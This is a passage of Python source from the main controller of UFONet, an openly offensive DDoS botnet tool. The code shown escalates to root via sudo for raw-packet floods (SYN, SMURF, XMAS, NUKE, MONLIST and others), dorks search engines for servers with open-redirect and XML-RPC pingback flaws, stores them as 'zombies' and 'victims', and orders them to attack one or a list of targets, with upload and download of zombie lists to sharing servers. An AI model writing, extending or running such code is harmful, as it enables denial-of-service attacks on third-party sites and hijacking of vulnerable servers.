  389. private_ip, public_ip = self.show_ips()
  390. print("|- IP Private :", private_ip)
  391. print("|" +"-"*34)
  392. t = urlparse(self.check_ip_service3)
  393. name_service = t.netloc
  394. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  395. print("-"*35)
  396. print('='*75, "\n")
  397. # run UFOSCAN tool (check EUID when running UFOSCAN)
  398. if options.xray:
  399. euid = self.checkeuid()
  400. if euid != 0:
  401. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  402. try:
  403. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  404. os.execlpe('sudo', *args)
  405. except:
  406. pass # keep running
  407. else:
  408. if not options.xrayps:
  409. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  410. ports = options.xrayps
  411. try:
  412. portX, portY = ports.split('-')
  413. try:
  414. portX = int(portX)
  415. portY = int(portY)
  416. except:
  417. portX = 1
  418. portY = 1024
  419. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  420. except:
  421. portX = 1
  422. portY = 1024
  423. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  424. self.banner()
  425. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  426. print('='*22 + '\n')
  427. try:
  428. self.instance = UFOSCAN() # instance main class for scanning operations
  429. xray = self.instance.scanning(options.xray, portX, portY)
  430. except Exception as e:
  431. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  432. if DEBUG == True:
  433. traceback.print_exc()
  434. return
  435. # show code timeline
  436. if options.timeline:
  437. f = open(self.timeline_file, 'r')
  438. releases = f.readlines()
  439. f.close()
  440. self.banner()
  441. print("-> Code timeline:")
  442. print('='*44)
  443. print("-"*35)
  444. for r in releases:
  445. print(r.strip('\n'))
  446. print("-"*35)
  447. print('='*75, "\n")
  448. # print some examples
  449. if options.examples:
  450. f = open(self.examples_file, 'r')
  451. examples = f.readlines()
  452. f.close()
  453. self.banner()
  454. for e in examples:
  455. print(e.strip('\n'))
  456. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  457. if options.ufosyn:
  458. euid = self.checkeuid()
  459. if euid != 0:
  460. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  461. try:
  462. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  463. os.execlpe('sudo', *args)
  464. except:
  465. pass # keep running, but UFOSYN will fail
  466. # check EUID when running SPRAY (root required)
  467. if options.spray:
  468. euid = self.checkeuid()
  469. if euid != 0:
  470. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  471. try:
  472. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  473. os.execlpe('sudo', *args)
  474. except:
  475. pass # keep running, but SPRAY will fail
  476. # check EUID when running SMURF (root required)
  477. if options.smurf:
  478. euid = self.checkeuid()
  479. if euid != 0:
  480. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  481. try:
  482. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  483. os.execlpe('sudo', *args)
  484. except:
  485. pass # keep running, but SMURF will fail
  486. # check EUID when running XMAS (root required)
  487. if options.xmas:
  488. euid = self.checkeuid()
  489. if euid != 0:
  490. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  491. try:
  492. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  493. os.execlpe('sudo', *args)
  494. except:
  495. pass # keep running, but XMAS will fail
  496. # check EUID when running NUKE (root required)
  497. if options.nuke:
  498. euid = self.checkeuid()
  499. if euid != 0:
  500. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  501. try:
  502. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  503. os.execlpe('sudo', *args)
  504. except:
  505. pass # keep running, but NUKE will fail
  506. # check EUID when running TACHYON (root required)
  507. if options.tachyon:
  508. euid = self.checkeuid()
  509. if euid != 0:
  510. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  511. try:
  512. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  513. os.execlpe('sudo', *args)
  514. except:
  515. pass # keep running, but TACHYON will fail
  516. # check EUID when running MONLIST (root required)
  517. if options.monlist:
  518. euid = self.checkeuid()
  519. if euid != 0:
  520. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  521. try:
  522. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  523. os.execlpe('sudo', *args)
  524. except:
  525. pass # keep running, but MONLIST will fail
  526. # search for [Zombies] on search engines results (dorking)
  527. if options.search:
  528. zombies = []
  529. if options.engine:
  530. engine = options.engine
  531. else:
  532. engine = "duck" # default search engine
  533. try:
  534. self.banner()
  535. if not os.path.exists(self.humans_file) == True:
  536. f = open(self.humans_file, 'w')
  537. f.close()
  538. lf = open(self.humans_file, 'r')
  539. restored = lf.readlines()
  540. zombies_restored = len(restored)
  541. lf.close()
  542. lz = open(self.zombies_file, 'r')
  543. zombies_army = lz.readlines()
  544. for zombie in zombies_army:
  545. zombies.append(zombie) # add zombies from army to the zombies pool
  546. lz.close()
  547. if len(restored) > 0:
  548. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  549. if not self.options.forceyes:
  550. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  551. print('-'*25)
  552. else:
  553. backup_reply = "Y"
  554. if backup_reply == "n" or backup_reply == "N":
  555. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  556. os.remove(self.humans_file)
  557. zombies_restored = 0 # flush zombies restored
  558. print('-'*25 + "\n")
  559. else:
  560. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  561. print('-'*25 + "\n")
  562. for zombie in restored:
  563. zombies.append(zombie) # add previous data to zombies pool
  564. if options.allengines:
  565. if options.ex_engine: # exclude some search engines manually
  566. exclude = options.ex_engine.split(",")
  567. for ex in exclude:
  568. ex = ex.lower()
  569. if ex in self.search_engines:
  570. if len(self.search_engines) == 1: # at least one should make it
  571. pass
  572. else:
  573. self.search_engines.remove(ex)
  574. for e in self.search_engines:
  575. engine = e
  576. print('='*44)
  577. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  578. print('='*44 + '\n')
  579. self.options.engine = engine
  580. try:
  581. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  582. if zombies_chain != None:
  583. for zombie in zombies_chain:
  584. if zombie not in zombies: # evade possible repetitions
  585. zombies.append(zombie)
  586. except:
  587. if zombies: # backup all new zombies found to file in case of exception
  588. for zombie in zombies:
  589. if zombie+os.linesep not in restored: # only append new zombies found
  590. with open(self.humans_file, "a") as f:
  591. f.write(str(zombie+os.linesep))
  592. else:
  593. if restored:
  594. print('='*44)
  595. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  596. print('='*44 + '\n')
  597. if restored: # from restored file
  598. try:
  599. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  600. if zombies_chain != None:
  601. for zombie in zombies_chain:
  602. if zombie not in zombies: # evade possible repetitions
  603. zombies.append(zombie)
  604. except:
  605. if zombies: # backup all new zombies found to file in case of exception
  606. for zombie in zombies:
  607. if zombie+os.linesep not in restored: # only append new zombies found
  608. with open(self.humans_file, "a") as f:
  609. f.write(str(zombie+os.linesep))
  610. else:
  611. try:
  612. zombies = self.search_zombies(dork='', zombies_found=zombies)
  613. except:
  614. if zombies: # backup all new zombies found to file in case of exception
  615. for zombie in zombies:
  616. if zombie+os.linesep not in restored: # only append new zombies found
  617. with open(self.humans_file, "a") as f:
  618. f.write(str(zombie+os.linesep))
  619. total_restored = zombies_restored
  620. new_zombies = 0 # new zombies counter
  621. f = open(self.zombies_file, 'r')
  622. zz = f.readlines()
  623. f.close()
  624. zombies_found = []
  625. for z in zombies:
  626. if z.endswith(os.linesep):
  627. z = z.replace(os.linesep, "")
  628. if z not in zz and z+os.linesep not in zz:
  629. new_zombies = new_zombies + 1
  630. zombies_found.append(z)
  631. print('='*62)
  632. print("\n- Victims found:", len(zombies_found), "\n")
  633. print(" - Restored:", total_restored)
  634. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  635. print('-'*32)
  636. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  637. print('='*62 + '\n')
  638. if len(zombies) > 0:
  639. if not self.options.forceyes:
  640. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  641. print('-'*25)
  642. else:
  643. check_backup_reply = "Y"
  644. if check_backup_reply == "n" or check_backup_reply == "N":
  645. if os.path.isfile(self.humans_file):
  646. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  647. print("\n[Info] [AI] Temporal data correctly removed...\n")
  648. else:
  649. with open(self.humans_file, "w") as f:
  650. for z in zombies_found:
  651. if z.endswith(os.linesep):
  652. z = z.replace(os.linesep, "")
  653. if z not in zz or z+os.linesep not in zz:
  654. f.write(z+os.linesep)
  655. f.close()
  656. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  657. print('-'*25 + "\n")
  658. if new_zombies and new_zombies > 0:
  659. if not self.options.forceyes:
  660. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  661. print('-'*25 + "\n")
  662. else:
  663. check_url_link_reply = "Y"
  664. if check_url_link_reply == "n" or check_url_link_reply == "N":
  665. print("[AI] "+self.exit_msg+"\n")
  666. pass
  667. else:
  668. print("\n" + '='*44)
  669. test = self.testing(zombies_found)
  670. else:
  671. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  672. except Exception:
  673. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  674. # search for [Zombies] from a list of [Dorks]
  675. if options.dorks:
  676. if options.engine:
  677. engine = options.engine
  678. else:
  679. engine = "duck" # default search engine
  680. try:
  681. dorks = self.extract_dorks()
  682. if not dorks:
  683. return
  684. zombies = []
  685. self.banner()
  686. if not os.path.exists(self.humans_file) == True:
  687. f = open(self.humans_file, 'w')
  688. f.close()
  689. lf = open(self.humans_file, 'r')
  690. restored = lf.readlines()
  691. zombies_restored = len(restored)
  692. lf.close()
  693. lz = open(self.zombies_file, 'r')
  694. zombies_army = lz.readlines()
  695. for zombie in zombies_army:
  696. zombies.append(zombie) # add zombies from army to the zombies pool
  697. lz.close()
  698. if len(restored) > 0:
  699. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  700. if not self.options.forceyes:
  701. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  702. print('-'*25)
  703. else:
  704. backup_reply = "Y"
  705. if backup_reply == "n" or backup_reply == "N":
  706. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  707. os.remove(self.humans_file)
  708. zombies_restored = 0 # flush zombies restored
  709. print('-'*25 + "\n")
  710. else:
  711. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  712. print('-'*25 + "\n")
  713. for zombie in restored:
  714. zombies.append(zombie) # add previous data to zombies pool
  715. total_restored = zombies_restored
  716. if options.allengines:
  717. if options.ex_engine: # exclude some search engines manually
  718. exclude = options.ex_engine.split(",")
  719. for ex in exclude:
  720. ex = ex.lower()
  721. if ex in self.search_engines:
  722. if len(self.search_engines) == 1: # at least one should make it
  723. pass
  724. else:
  725. self.search_engines.remove(ex)
  726. for e in self.search_engines:
  727. engine = e
  728. print('='*44)
  729. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  730. print('='*44 + '\n')
  731. self.options.engine = engine
  732. for dork in dorks:
  733. print('='*22)
  734. print("Dork:", dork)
  735. print('='*22 + '\n')
  736. try:
  737. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  738. for zombie in dorked_zombies:
  739. if zombie not in zombies: # evade repetitions for zombies found
  740. zombies.append(zombie)
  741. if zombie+os.linesep not in restored: # only append new zombies found
  742. with open(self.humans_file, "a") as f:
  743. f.write(str(zombie+os.linesep))
  744. f.close()
  745. except:
  746. if zombies: # backup new zombies found on exception
  747. for zombie in zombies:
  748. if zombie+os.linesep not in restored: # only append new zombies found
  749. with open(self.humans_file, "a") as f:
  750. f.write(str(zombie+os.linesep))
  751. f.close()
  752. else:
  753. if restored:
  754. print('='*44)
  755. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  756. print('='*44 + '\n')
  757. for dork in dorks:
  758. print('='*22)
  759. print("Dork:", dork)
  760. print('='*22 + '\n')
  761. try:
  762. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  763. if dorked_zombies != None:
  764. for zombie in dorked_zombies:
  765. if zombie not in zombies: # evade repetitions for zombies found
  766. zombies.append(zombie)
  767. except:
  768. if zombies: # backup new zombies found on exception
  769. for zombie in zombies:
  770. if zombie+os.linesep not in restored: # only append new zombies found
  771. with open(self.humans_file, "a") as f:
  772. f.write(str(zombie+os.linesep))
  773. f.close()
  774. new_zombies = 0 # new zombies counter
  775. f = open(self.zombies_file, 'r')
  776. zz = f.readlines()
  777. f.close()
  778. zombies_found = []
  779. for z in zombies:
  780. if z.endswith(os.linesep):
  781. z = z.replace(os.linesep, "")
  782. if z not in zz and z+os.linesep not in zz:
  783. new_zombies = new_zombies + 1
  784. zombies_found.append(z)
  785. print('='*62)
  786. print("\n- Victims found:", len(zombies_found), "\n")
  787. print(" - Restored:", total_restored)
  788. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  789. print('-'*32)
  790. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  791. print('='*62 + '\n')
  792. if len(zombies_found) > 0:
  793. if not self.options.forceyes:
  794. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  795. print('-'*25)
  796. else:
  797. check_backup_reply = "Y"
  798. if check_backup_reply == "n" or check_backup_reply == "N":
  799. if os.path.isfile(self.humans_file):
  800. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  801. print("\n[Info] [AI] Temporal data correctly removed...\n")
  802. else:
  803. with open(self.humans_file, "w") as f:
  804. for z in zombies_found:
  805. if z.endswith(os.linesep):
  806. z = z.replace(os.linesep, "")
  807. if z not in zz or z+os.linesep not in zz:
  808. f.write(z+os.linesep)
  809. f.close()
  810. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  811. print('-'*25 + "\n")
  812. if new_zombies and new_zombies > 0:
  813. if not self.options.forceyes:
  814. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  815. print('-'*25 + "\n")
  816. else:
  817. check_url_link_reply = "Y"
  818. if check_url_link_reply == "n" or check_url_link_reply == "N":
  819. print("[AI] "+self.exit_msg+"\n")
  820. pass
  821. else:
  822. print("\n" + '='*44)
  823. test = self.testing(zombies_found)
  824. else:
  825. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  826. except Exception:
  827. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  828. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  829. if options.autosearch:
  830. try:
  831. dorks = self.extract_dorks()
  832. except:
  833. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  834. return
  835. engines_list = self.search_engines
  836. stop_flag = False # use a flag to establish an end
  837. try:
  838. self.banner()
  839. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  840. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  841. print('-'*25 + "\n")
  842. zombies_found = []
  843. lz = open(self.zombies_file, 'r')
  844. zombies_army = lz.readlines()
  845. for zombie in zombies_army:
  846. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  847. lz.close()
  848. if not os.path.exists(self.humans_file) == True:
  849. f = open(self.humans_file, 'w')
  850. f.close()
  851. lf = open(self.humans_file, 'r')
  852. restored = lf.readlines()
  853. zombies_restored = len(restored)
  854. lf.close()
  855. if len(restored) > 0:
  856. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  857. if not self.options.forceyes:
  858. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  859. print('-'*25)
  860. else:
  861. backup_reply = "Y"
  862. if backup_reply == "n" or backup_reply == "N":
  863. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  864. os.remove(self.humans_file)
  865. zombies_restored = 0 # flush zombies restored
  866. print('-'*25 + "\n")
  867. else:
  868. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  869. print('-'*25 + "\n")
  870. for zombie in restored:
  871. zombies_found.append(zombie) # add previous data to zombies found pool
  872. total_restored = zombies_restored
  873. while stop_flag == False:
  874. if not os.path.exists(self.humans_file) == True:
  875. f = open(self.humans_file, 'w')
  876. f.close()
  877. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  878. restored = lf.readlines()
  879. lf.close()
  880. zombies_restored = len(restored)
  881. for e in engines_list:
  882. zombies_counter = 0 # use it also as (engine) flag
  883. engine = e
  884. self.options.engine = engine
  885. print('='*44 + '\n')
  886. print(("[AI] Searching for zombies using: "+engine+'\n'))
  887. print('='*44 + '\n')
  888. for dork in dorks:
  889. print('='*22)
  890. print("Dork:", dork)
  891. print('='*22 + '\n')
  892. try:
  893. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  894. for zombie in dorked_zombies:
  895. if zombie not in zombies_found: # evade repetitions for zombies found
  896. zombies_found.append(zombie)
  897. if zombie+os.linesep not in restored: # only append new zombies found
  898. with open(self.humans_file, "a") as f:
  899. f.write(str(zombie+os.linesep))
  900. f.close()
  901. zombies_counter = zombies_counter + 1
  902. except:
  903. if zombies_found: # backup new zombies found on exception
  904. for zombie in zombies_found:
  905. if zombie+os.linesep not in restored: # only append new zombies found
  906. with open(self.humans_file, "a") as f:
  907. f.write(str(zombie+os.linesep))
  908. f.close()
  909. if zombies_counter == 0:
  910. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  911. print('-'*25 + "\n")
  912. engines_list.remove(engine) # remove not more results engine from search engines list
  913. if not engines_list: # if search engines empty, call return-exit routine
  914. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  915. print('-'*25 + "\n")
  916. stop_flag = True # exit flag up
  917. new_zombies = 0 # new zombies counter
  918. f = open(self.zombies_file, 'r')
  919. zz = f.readlines()
  920. f.close()
  921. all_zombies_found = []
  922. for z in zombies_found:
  923. if z.endswith(os.linesep):
  924. z = z.replace(os.linesep, "")
  925. if z not in zz and z+os.linesep not in zz:
  926. new_zombies = new_zombies + 1
  927. all_zombies_found.append(z)
  928. print('='*62)
  929. print("\n- Victims found:", len(all_zombies_found), "\n")
  930. print(" - Restored:", total_restored)
  931. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  932. print('-'*32)
  933. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  934. print('='*62 + '\n')
  935. if len(zombies_found) > 0:
  936. if not self.options.forceyes:
  937. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  938. print('-'*25)
  939. else:
  940. check_backup_reply = "Y"
  941. if check_backup_reply == "n" or check_backup_reply == "N":
  942. if os.path.isfile(self.humans_file):
  943. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  944. print("\n[Info] [AI] Temporal data correctly removed...\n")
  945. else:
  946. with open(self.humans_file, "w") as f:
  947. for z in all_zombies_found:
  948. if z.endswith(os.linesep):
  949. z = z.replace(os.linesep, "")
  950. if z not in zz or z+os.linesep not in zz:
  951. f.write(z+os.linesep)
  952. f.close()
  953. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  954. print('-'*25 + "\n")
  955. if new_zombies and new_zombies > 0:
  956. if not self.options.forceyes:
  957. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  958. print('-'*25 + "\n")
  959. else:
  960. check_url_link_reply = "Y"
  961. if check_url_link_reply == "n" or check_url_link_reply == "N":
  962. print("[AI] "+self.exit_msg+"\n")
  963. pass
  964. else:
  965. print("\n" + '='*44)
  966. test = self.testing(all_zombies_found)
  967. else:
  968. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  969. except Exception:
  970. print ("[Error] [AI] Something wrong (auto)searching...\n")
  971. # test web 'zombie' servers -> show statistics
  972. if options.test:
  973. try:
  974. self.banner()
  975. zombies = self.extract_zombies()
  976. if not zombies:
  977. return
  978. test = self.testing(zombies)
  979. self.update_missions_stats() # update mothership missions stats
  980. except Exception:
  981. print ("\n[Error] [AI] Something wrong testing!\n")
  982. if DEBUG == True:
  983. traceback.print_exc()
  984. # test XML-'rpc' pingback vulnerable servers -> update list
  985. if options.testrpc:
  986. try:
  987. self.banner()
  988. rpcs = self.extract_rpcs()
  989. if not rpcs:
  990. return
  991. testrpc = self.testing_rpcs(rpcs)
  992. self.update_missions_stats() # update mothership missions stats
  993. except Exception:
  994. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  995. if DEBUG == True:
  996. traceback.print_exc()
  997. # check botnet searching for zombies offline
  998. if options.testoffline:
  999. try:
  1000. self.banner()
  1001. testbotnet = self.testing_offline()
  1002. self.update_missions_stats() # update mothership missions stats
  1003. except Exception:
  1004. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1005. if DEBUG == True:
  1006. traceback.print_exc()
  1007. # check ALL botnet status
  1008. if options.testall:
  1009. try:
  1010. self.banner()
  1011. test_all_botnet = self.testing_all()
  1012. self.update_missions_stats() # update mothership missions stats
  1013. except Exception:
  1014. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1015. if DEBUG == True:
  1016. traceback.print_exc()
  1017. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1018. if options.target:
  1019. try:
  1020. self.banner()
  1021. zombies = self.extract_zombies()
  1022. if not zombies:
  1023. return
  1024. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1025. attack = self.attacking(zombies, options.target)
  1026. self.update_missions_stats() # update mothership missions stats
  1027. except Exception:
  1028. print ("\n[Error] [AI] Something wrong attacking!\n")
  1029. if DEBUG == True:
  1030. traceback.print_exc()
  1031. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1032. if options.target_list:
  1033. try:
  1034. self.banner()
  1035. zombies = self.extract_zombies()
  1036. if not zombies:
  1037. return
  1038. targets = self.extract_target_list()
  1039. if not targets:
  1040. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1041. return
  1042. self.options.forceyes = True # force-yes ON!
  1043. self.num_target_list = 0
  1044. print("\n[AI] Checking integrity of targets...\n")
  1045. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1046. if not t.startswith("http"): # discarded inmediately
  1047. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1048. targets.remove(t) # ¿remove? invalid targets
  1049. print("")
  1050. c = 0
  1051. for target in targets:
  1052. if target == "":
  1053. c = c + 1
  1054. else:
  1055. self.num_target_list = self.num_target_list + 1
  1056. if c == len(targets):
  1057. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1058. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1059. else:
  1060. for target in targets:
  1061. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1062. target = self.options.target
  1063. print('='*55 + "\n")
  1064. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1065. print("="*55)
  1066. attack = self.attacking(zombies, target)
  1067. self.update_missions_stats() # update mothership missions stats (each target counts)
  1068. except Exception:
  1069. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1070. if DEBUG == True:
  1071. traceback.print_exc()
  1072. # inspect target -> inspect target's components sizes
  1073. if options.inspect:
  1074. try:
  1075. self.banner()
  1076. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1077. print('='*22 + '\n')
  1078. self.instance = Inspector(self) # instance main class for inspection operations
  1079. inspection = self.instance.inspecting(options.inspect)
  1080. self.update_missions_stats() # update mothership missions stats
  1081. except Exception as e:
  1082. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1083. if DEBUG == True:
  1084. traceback.print_exc()
  1085. return #sys.exit(2)
  1086. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1087. if options.abduction:
  1088. try:
  1089. self.banner()
  1090. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1091. print('='*22 + '\n')
  1092. self.instance = Abductor(self) # instance main class for abduction operations
  1093. abduction = self.instance.abducting(options.abduction)
  1094. self.update_missions_stats() # update mothership missions stats
  1095. except Exception as e:
  1096. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1097. if DEBUG == True:
  1098. traceback.print_exc()
  1099. return #sys.exit(2)
  1100. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1101. if options.attackme:
  1102. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1103. try:
  1104. self.banner()
  1105. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1106. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1107. if not self.options.forceyes:
  1108. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1109. else:
  1110. update_reply = "Y"
  1111. if update_reply == "n" or update_reply == "N":
  1112. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1113. return
  1114. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1115. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1116. print("\n[AI] Checking NAT/IP configuration:\n")
  1117. nat = self.check_nat()
  1118. f = open("alien", "w") # generate random alien worker
  1119. f.write(str(self.mothership_hash))
  1120. f.close()
  1121. if self.nat_error_flag == "ON":
  1122. return
  1123. zombies = self.extract_zombies()
  1124. if not zombies:
  1125. return
  1126. attackme = self.attackme(zombies)
  1127. self.update_missions_stats() # update mothership missions stats
  1128. except Exception as e:
  1129. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1130. if DEBUG == True:
  1131. traceback.print_exc()
  1132. return #sys.exit(2)
  1133. # check/update for latest stable version
  1134. if options.update:
  1135. self.banner()
  1136. try:
  1137. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1138. Updater()
  1139. except:
  1140. print("Not any .git repository found!\n")
  1141. print("="*30)
  1142. print("\nTo have working this feature, you should clone UFONet with:\n")
  1143. print("$ git clone %s" % self.GIT_REPOSITORY)
  1144. print("\nAlso you can try this other mirror:\n")
  1145. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1146. # launch GUI/Web interface
  1147. if options.web:
  1148. self.create_web_interface()
  1149. return
  1150. # generate [Blackhole] server to share [Zombies]
  1151. if options.blackhole is not None:
  1152. self.banner()
  1153. try:
  1154. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1155. sys.path.append(blackhole_lib)
  1156. from core.tools.blackhole import BlackHole
  1157. print("\n[AI] Initiating void generation sequence...\n")
  1158. print('='*22 + '\n')
  1159. app = BlackHole()
  1160. app.start()
  1161. while True: time.sleep(1)
  1162. except KeyboardInterrupt:
  1163. print("\n[AI] Terminating void generation sequence...\n")
  1164. app.collapse()
  1165. except Exception as e:
  1166. print("[Error] "+str(e))
  1167. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1168. # create [Griger] server to share [Stats/Wargames/Messages]
  1169. if options.grider is not None:
  1170. self.banner()
  1171. try:
  1172. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1173. sys.path.append(grider_lib)
  1174. from core.tools.grider import Grider
  1175. print("\n[AI] Initiating void generation sequence...\n")
  1176. print('='*22 + '\n')
  1177. app = Grider()
  1178. app.start()
  1179. while True: time.sleep(1)
  1180. except KeyboardInterrupt:
  1181. print("\n[AI] Terminating void generation sequence...\n")
  1182. app.collapse()
  1183. except Exception as e:
  1184. print("[Error] "+str(e))
  1185. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1186. # download list of [Zombies] from a [Blackhole] IP
  1187. if options.dip is not None:
  1188. options.download = True
  1189. self.blackhole = options.dip
  1190. # upload list of [Zombies] to a [Blackhole] IP
  1191. if options.upip is not None:
  1192. options.upload = True
  1193. self.blackhole = options.upip
  1194. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1195. if options.download:
  1196. try:
  1197. self.banner()
  1198. if options.dip is not None:
  1199. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1200. else:
  1201. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1202. print('='*22 + '\n')
  1203. download_list = self.downloading_list()
  1204. except Exception as e:
  1205. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1206. return
  1207. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1208. if options.upload:
  1209. try:
  1210. self.banner()
  1211. if options.upip is not None:
  1212. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1213. else:
  1214. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1215. print('='*22 + '\n')
  1216. upload_list = self.uploading_list()
  1217. except Exception as e:
  1218. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
